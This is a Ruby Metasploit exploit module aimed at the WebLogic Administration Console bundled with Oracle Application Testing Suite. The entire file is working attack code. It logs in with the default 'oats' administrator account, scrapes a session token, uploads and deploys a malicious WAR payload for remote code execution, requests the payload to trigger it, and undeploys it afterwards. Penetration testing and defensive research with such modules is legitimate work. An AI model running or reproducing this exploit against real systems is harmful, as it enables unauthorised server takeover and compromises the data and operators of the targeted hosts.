##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Oracle Application Testing Suite WebLogic Server Administration Console War Deployment',
'Description' => %q{
This module abuses a feature in WebLogic Server's Administration Console to install
a malicious Java application in order to gain remote code execution. Authentication
is required, however by default, Oracle ships with a "oats" account that you could
log in with, which grants you administrator access.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Steven Seeley', # Used the trick and told me about it
'sinn3r' # Metasploit module
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'WebLogic Server Administration Console 12 or prior', { } ]
],
'References' =>
[
# The CVE description matches what this exploit is doing, but it was for version
# 9.0 and 9.1. We are not super sure whether this is the right CVE or not.
# ['CVE', '2007-2699']
],
'DefaultOptions' =>
{
'RPORT' => 8088
},
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Privileged' => false,
'DisclosureDate' => 'Mar 13 2019',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),
OptString.new('OATSUSERNAME', [true, 'The username for the admin console', 'oats']),
OptString.new('OATSPASSWORD', [true, 'The password for the admin console'])
])
register_advanced_options(
[
OptString.new('DefaultOatsPath', [true, 'The default path for OracleATS', 'C:\\OracleATS'])
])
end
class LoginSpec
attr_accessor :admin_console_session
end
def login_spec
@login_spec ||= LoginSpec.new
end
class OatsWarPayload < MetasploitModule
attr_reader :name
attr_reader :war
def initialize(payload)
@name = [Faker::App.name, Rex::Text.rand_name].sample
@war = payload.encoded_war(app_name: name).to_s
end
end
def default_oats_path
datastore['DefaultOatsPath']
end
def war_payload
@war_payload ||= OatsWarPayload.new(payload)
end
def set_frsc
value = get_deploy_frsc
@frsc = value
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')
})
if res && res.body.include?('Oracle WebLogic Server Administration Console')
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def set_admin_console_session(res)
cookie = res.get_cookies
admin_console_session = cookie.scan(/ADMINCONSOLESESSION=(.+);/).flatten.first
vprint_status("Token for console session is: #{admin_console_session}")
login_spec.admin_console_session = admin_console_session
end
def is_logged_in?(res)
html = res.get_html_document
a_element = html.at('a')
if a_element.respond_to?(:attributes) && a_element.attributes['href']
link = a_element.attributes['href'].value
return URI(link).request_uri == '/console'
end
false
end
def do_login
uri = normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
fail_with(Failure::Unknown, 'No response from server') unless res
set_admin_console_session(res)
uri = normalize_uri(target_uri.path, 'console', 'j_security_check')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_post' =>
{
'j_username' => datastore['OATSUSERNAME'],
'j_password' => datastore['OATSPASSWORD'],
'j_character_encoding' => 'UTF-8'
}
})
fail_with(Failure::Unknown, 'No response while trying to log in') unless res
fail_with(Failure::NoAccess, 'Failed to login') unless is_logged_in?(res)
store_valid_credential(user: datastore['OATSUSERNAME'], private: datastore['OATSPASSWORD'])
set_admin_console_session(res)
end
def get_deploy_frsc
# First we are just going through the pages in a specific order to get the FRSC value
# we need to prepare uploading the WAR file.
res = nil
requests =
[
{ path: 'console/', vars: {} },
{ path: 'console/console.portal', vars: {'_nfpb'=>"true"} },
{ path: 'console/console.portal', vars: {'_nfpb'=>"true", '_pageLabel' => 'HomePage1'} }
]
requests.each do |req|
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, req[:path]),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' => req[:vars]
})
fail_with(Failure::Unknown, 'No response while retrieving FRSC') unless res
end
html = res.get_html_document
hidden_input = html.at('input[@name="ChangeManagerPortletfrsc"]')
frsc_attr = hidden_input.respond_to?(:attributes) ? hidden_input.attributes['value'] : nil
frsc_attr ? frsc_attr.value : ''
end
def do_select_upload_action
action = '/com/bea/console/actions/app/install/selectUploadApp'
app_path = Rex::FileUtils.normalize_win_path(default_oats_path, 'oats\\servers\\AdminServer\\upload')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'vars_post' =>
{
'AppApplicationInstallPortletselectedAppPath' => app_path,
'AppApplicationInstallPortletfrsc' => frsc
}
})
fail_with(Failure::Unknown, "No response from #{action}") unless res
end
def do_upload_app_action
action = '/com/bea/console/actions/app/install/uploadApp'
ctype = 'application/octet-stream'
app_cname = 'AppApplicationInstallPortletuploadAppPath'
plan_cname = 'AppApplicationInstallPortletuploadPlanPath'
frsc_cname = 'AppApplicationInstallPortletfrsc'
war = war_payload.war
war_name = war_payload.name
post_data = Rex::MIME::Message.new
post_data.add_part(war, ctype, 'binary', "form-data; name=\"#{app_cname}\"; filename=\"#{war_name}.war\"")
post_data.add_part('', ctype, nil, "form-data; name=\"#{plan_cname}\"; filename=\"\"")
post_data.add_part(frsc, nil, nil, "form-data; name=\"#{frsc_cname}\"")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})
fail_with(Failure::Unknown, "No response from #{action}") unless res
print_response_message(res)
end
def do_app_select_action
action = '/com/bea/console/actions/app/install/appSelected'
war_name = war_payload.name
app_path = Rex::FileUtils.normalize_win_path(default_oats_path, "oats\\servers\\AdminServer\\upload\\#{war_name}.war")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'vars_post' =>
{
'AppApplicationInstallPortletselectedAppPath' => app_path,
'AppApplicationInstallPortletfrsc' => frsc
}
})
fail_with(Failure::Unknown, "No response from #{action}") unless res
print_response_message(res)
end
def do_style_select_action
action = '/com/bea/console/actions/app/install/targetStyleSelected'
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'vars_post' =>
{
'AppApplicationInstallPortlettargetStyle' => 'Application',
'AppApplicationInstallPortletfrsc' => frsc
}
})
fail_with(Failure::Unknown, "No response from #{action}") unless res
end
def do_finish_action
action = '/com/bea/console/actions/app/install/finish'
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'vars_post' =>
{
'AppApplicationInstallPortletname' => war_payload.name,
'AppApplicationInstallPortletsecurityModel' => 'DDOnly',
'AppApplicationInstallPortletstagingStyle' => 'Default',
'AppApplicationInstallPortletplanStagingStyle' => 'Default',
'AppApplicationInstallPortletfrsc' => frsc
}
})
fail_with(Failure::Unknown, "No response from #{action}") unless res
print_response_message(res)
# 302 is a good enough indicator of a successful upload, otherwise
# the server would actually return a 200 with an error message.
res.code == 302
end
def print_response_message(res)
html = res.get_html_document
message_div = html.at('div[@class="message"]')
if message_div
msg = message_div.at('span').text
print_status("Server replies: #{msg.inspect}")
end
end
def deploy_war
set_frsc
print_status("FRSC value: #{frsc}")
do_select_upload_action
do_upload_app_action
do_app_select_action
do_style_select_action
do_finish_action
end
def goto_war(name)
print_good("Operation \"#{name}\" is a go!")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, name)
})
print_status("Code #{res.code} on \"#{name}\" request") if res
end
def undeploy_war
war_name = war_payload.name
handle = 'com.bea.console.handles.JMXHandle("com.bea:Name=oats,Type=Domain")'
contents = %Q|com.bea.console.handles.AppDeploymentHandle("com.bea:Name=#{war_name},Type=AppDeployment")|
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationUninstallPortletreturnTo' => 'AppDeploymentsControlPage',
'AppDeploymentsControlPortlethandle' => handle
},
'vars_post' =>
{
# For some reason, the value given to the server is escapped twice.
# The Metasploit API should do it at least once.
'AppApplicationUninstallPortletchosenContents' => CGI.escape(contents),
'_pageLabel' => 'AppApplicationUninstallPage',
'_nfpb' => 'true',
'AppApplicationUninstallPortletfrsc' => frsc
}
})
if res && res.code == 302
print_good("Successfully undeployed #{war_name}.war")
else
print_warning("Unable to successfully undeploy #{war_name}.war")
print_warning('You may want to do so manually.')
end
end
def cleanup
undeploy_war if is_cleanup_ready
super
end
def setup
@is_cleanup_ready = false
super
end
def exploit
unless check == Exploit::CheckCode::Detected
print_status('Target does not have the login page we are looking for.')
return
end
do_login
print_good("Logged in as #{datastore['OATSUSERNAME']}:#{datastore['OATSPASSWORD']}")
print_status("Ready for war. Codename \"#{war_payload.name}\" at #{war_payload.war.length} bytes")
result = deploy_war
if result
@is_cleanup_ready = true
goto_war(war_payload.name)
end
end
attr_reader :frsc
attr_reader :is_cleanup_ready
end
